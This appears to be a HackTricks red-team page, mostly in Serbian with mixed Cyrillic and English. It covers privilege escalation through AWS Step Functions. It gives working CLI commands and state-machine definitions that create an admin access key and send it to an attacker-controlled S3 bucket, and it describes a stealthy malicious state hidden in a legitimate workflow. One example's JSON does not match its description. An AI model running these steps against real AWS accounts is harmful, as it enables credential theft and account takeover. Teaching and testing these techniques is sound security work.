AWS - Step Functions Privesc

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Step Functions

Za više informacija o ovom AWS servisu, pogledajte:

AWS - Step Functions Enum

Resursi zadataka

Ove tehnike eskalacije privilegija zahtevaju korišćenje određenih resursa AWS Step Functions da bi se izvršile odgovarajuće akcije.

Da biste proverili sve moguće akcije, možete otići u vaš AWS nalog, izabrati akciju koju želite da koristite i videti koje parametre koristi, kao na primeru:

Ili možete otići na AWS API dokumentaciju i proveriti dokumentaciju za svaku akciju:

states:TestState & iam:PassRole

Napadač sa dozvolama states:TestState i iam:PassRole može testirati bilo koje stanje i proslediti mu bilo koju IAM ulogu bez kreiranja ili ažuriranja postojeće state machine, što potencijalno omogućava neovlašćen pristup drugim AWS servisima koristeći dozvole te uloge. U kombinaciji, ove dozvole mogu dovesti do širokog spektra neovlašćenih radnji — od manipulacije tokovima rada i izmena podataka do curenja podataka, manipulacije resursima i eskalacije privilegija.

aws stepfunctions test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]

Sledeći primeri pokazuju kako testirati state koji kreira access key za korisnika admin, koristeći ove dozvole i permisivnu ulogu u AWS okruženju. Ova permisivna uloga treba da ima bilo koju politiku sa visokim privilegijama (na primer arn:aws:iam::aws:policy/AdministratorAccess) koja omogućava izvršenje akcije iam:CreateAccessKey:

  • stateDefinition.json:
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
  • Komanda izvršena za izvođenje privesc-a:
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}

Potencijalni uticaj: Neovlašćeno izvršavanje i manipulacija tokovima rada i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih propusta.

states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)

Napadač koji ima states:CreateStateMachine i iam:PassRole mogao bi da kreira mašinu stanja i dodeli joj bilo koju IAM ulogu, omogućavajući neovlašćen pristup drugim AWS servisima sa privilegijama te uloge. Za razliku od prethodne privesc technique (states:TestState & iam:PassRole), ova se ne izvršava sama od sebe — biće vam potrebna i dozvola states:StartExecution ili states:StartSyncExecution (states:StartSyncExecution nije dostupan za standardne tokove rada, već samo za express state machines**) da biste pokrenuli izvršavanje te mašine stanja.

# Create a state machine
aws stepfunctions create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws stepfunctions start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws stepfunctions start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

U sledećim primerima pokazano je kako kreirati state machine koji kreira access key za korisnika admin i eksfiltrira taj access key u S3 bucket koji kontroliše napadač, koristeći ove dozvole i permisivnu ulogu u AWS okruženju. Ova permisivna uloga treba da ima neku politiku visokih privilegija (na primer arn:aws:iam::aws:policy/AdministratorAccess) koja omogućava state machine-u da izvrši akcije iam:CreateAccessKey i s3:putObject.

  • stateMachineDefinition.json:
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
  • Naredba izvršena za kreiranje state machine:
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
  • Naredba izvršena da pokrene izvršavanje prethodno kreiranog stroja stanja:
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}

Warning

S3 bucket koji kontroliše napadač treba da ima dozvole za prihvatanje s3:PutObject akcije iz žrtvinog naloga.

Potencijalni uticaj: Neovlašćeno izvršavanje i manipulacija workflow-ima i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih propusta.

states:UpdateStateMachine & (not always required) iam:PassRole

Napadač sa dozvolom states:UpdateStateMachine mogao bi da izmeni definiciju state machine-a, dodajući dodatna neprimetna stanja koja bi mogla da dovedu do eskalacije privilegija. Na taj način, kada legitimni korisnik pokrene izvršavanje state machine-a, novo zlonamerno neprimetno stanje će se izvršiti i eskalacija privilegija će biti uspešna.

U zavisnosti od toga koliko je permisivna IAM Role povezana sa state machine-om, napadač bi se suočio sa 2 situacije:

  1. Permisivna IAM Role: Ako je IAM Role povezana sa state machine-om već permisivna (npr. ima prikačen arn:aws:iam::aws:policy/AdministratorAccess policy), onda dozvola iam:PassRole ne bi bila potrebna za eskalaciju privilegija pošto neće biti neophodno ažurirati i IAM Role — dovoljna je izmena definicije state machine-a.
  2. Nije permisivna IAM Role: Suprotno od prethodnog slučaja, ovde bi napadač takođe zahtevao dozvolu iam:PassRole jer bi bilo neophodno da se poveže permisivna IAM Role sa state machine-om pored izmene definicije state machine-a.
aws stepfunctions update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

The following examples show how to update a legit state machine that just invokes a HelloWorld Lambda function, in order to add an extra state that adds the user unprivilegedUser to the administrator IAM Group. This way, when a legitimate user starts an execution of the updated state machine, this new malicious stealth state will be executed and the privilege escalation will be successful.

Warning

Ако state machine нема придружену permisivnu IAM Role, такође ће бити потребно дозвола iam:PassRole да би се ажурирала IAM Role у циљу повезивања permisivне IAM Role (на пример она која има придружену политику arn:aws:iam::aws:policy/AdministratorAccess).

{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
  • Komanda izvršena da ažurira legitimnu state machine:
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}

Potencijalni uticaj: Neovlašćeno izvršavanje i manipulacija tokovima rada i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih proboja.

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks